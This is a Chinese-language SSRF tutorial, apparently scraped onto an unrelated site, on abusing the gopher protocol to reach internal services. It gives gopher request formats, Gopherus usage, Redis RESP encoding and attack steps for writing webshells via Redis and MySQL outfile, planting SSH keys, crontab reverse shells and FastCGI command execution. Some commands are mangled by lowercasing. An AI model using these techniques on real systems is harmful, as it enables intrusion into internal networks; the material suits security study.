gopher在ssrf中的应用 | 宜武汇-ag真人国际厅网站

gopher是http协议出现以前常用的协议。它将internet上的文件组织成某种索引,很方便地将用户从internet的一处带到另一处。在www出现之前,gopher是internet上最主要的信息检索工具,gopher站点也是最主要的站点,使用tcp70端口。但在www出现后,gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它。它可以发送get、post请求,攻击内网的redis以及ftp。

使用限制

php:–wite-curlwrappers且php版本不小于5.3

java:小于jdk1.7

curl:低版本不支持

perl:支持

asp.net:小于3

url:gopher://:/_后接tcp数据流

gopher发送get请求

get /b.php?q=1 http/1.1 host: 192.168.47.244
gopher://192.168.47.244:80/_get /b.php?q=1 http/1.1 host: 192.168.47.244 //url解码前的内容 gopher://192.168.47.244:80/_get /b.php?q=1 http/1.1
host: 192.168.47.244

gopher发送post请求

post /b.php?q=1 http/1.1 host: 192.168.47.244 content-type: application/x-www-form-urlencoded content-length: 8 q=myname
gopher://192.168.47.244:80/_post /b.php?q=1 http/1.1 host: 192.168.47.244 content-type: application/x-www-form-urlencoded content-length: 8 q=myname //url解码前的内容 gopher://192.168.47.244:80/_post /b.php?q=1 http/1.1
host: 192.168.47.244
content-type: application/x-www-form-urlencoded
content-length: 8
q=myname

而gopherus是产生gopher的payload程序。

kali下载,python2环境。

下载地址:https://github.com/tarunkant/gopherus

可以在kali中使用下列命令获取:

git https://github.com/tarunkant/gopherus.git

目前支持生成payload应用有:

mysql (port:3306)

fastcgi (port:9000)

memcached (port:11211)

redis (port:6379)

zabbix (port:10050)

smtp (port:25)

curl_exec()造成的ssrf,gopher协议需要使用二次urlencode;而file_get_contents()造成的ssrf,gopher协议就不用进行二次urlencode

一种c语言编写的非关系型数据库。默认端口6379

resp 是 redis 序列化协议的简写。redis协议将传输的数据分为五种最小单元类型,单元结束时统一加上回车换行符号\r\n。注意

单行字符串以   符号开头。  hello world\r\n 多行字符串以 $ 符号开头,后跟字符串长度。多行字符串当然也可以表示单行字符串。 $11\r\nhello world\r\n 整数值以 : 符号开头,后跟整数的字符串形式。 1024: :1024\r\n 错误消息以 - 符号开头。 -wrongtype operation against a key holding the wrong kind of value 数组以 * 号开头,后跟数组的长度。 [1,2,3]: *3\r\n:1\r\n:2\r\n:3\r\n

输入*3\r\n$3\r\nset\r\n$6\r\nauthor\r\n$8\r\ncodehole\r\n

*3 $3 set $6 author $8 codehole

1.绝对路径写webshell

2.写ssh公钥

3.写contrab计划任务反弹shell

4.主从复制webshell

传入然后访问连接即可。

构造redis语句

flushall config set dir /var/www/html config set dbfilename shell.php set 1 '' save

去网上找了一个师傅的脚本,将命令转化为resp形式

运行后将结果传入靶机,连接即可

前提:靶机的ssh开启

利用curl命令写入后连接

ssh root@ip:port

mysql客户端登录服务器时有两种情况,需要密码和不需要密码。gopher协议打mysql不需要密码的情况。

还是要通过dict协议获取端口。默认3306

知道网站路径

对数据库有执行权限

python2 gopherus.py --exploit mysql root select "" into outfile "/var/www/html/1.php

直接将木马写入1.php,然后访问即可。

fastcgi是服务器中间件和某个语言后端进行数据交换的通信协议。由多个record构成。

record也有header和body,服务器中间件封装按协议发送到后端,后端处理后,按协议返回。

typedef struct { /* header */ unsigned char version; // 版本 unsigned char type; // 本次record的类型 unsigned char requestidb1; // 本次record对应的请求id unsigned char requestidb0; unsigned char contentlengthb1; // body体的大小 unsigned char contentlengthb0; unsigned char paddinglength; // 额外块大小 unsigned char reserved; /* body */ unsigned char contentdata[contentlength]; unsigned char paddingdata[paddinglength]; } fcgi_record;

作用:标志每个record的作用

当9000端口暴露时候,我们可以伪造fastcgi与后端语言之间的协议报文来攻击,当9000端口未暴露时,我们也可以用gopherus进行ssrf。

python2 gopherus.py --exploit fastcgi 回车 回车 命令

原文链接:https://xz.aliyun.com/t/12374

网络摘文,本文作者:15h,如若转载,请注明出处:https://www.15cov.cn/2023/08/27/gopher在ssrf中的应用/

发表评论

邮箱地址不会被公开。 必填项已用*标注

网站地图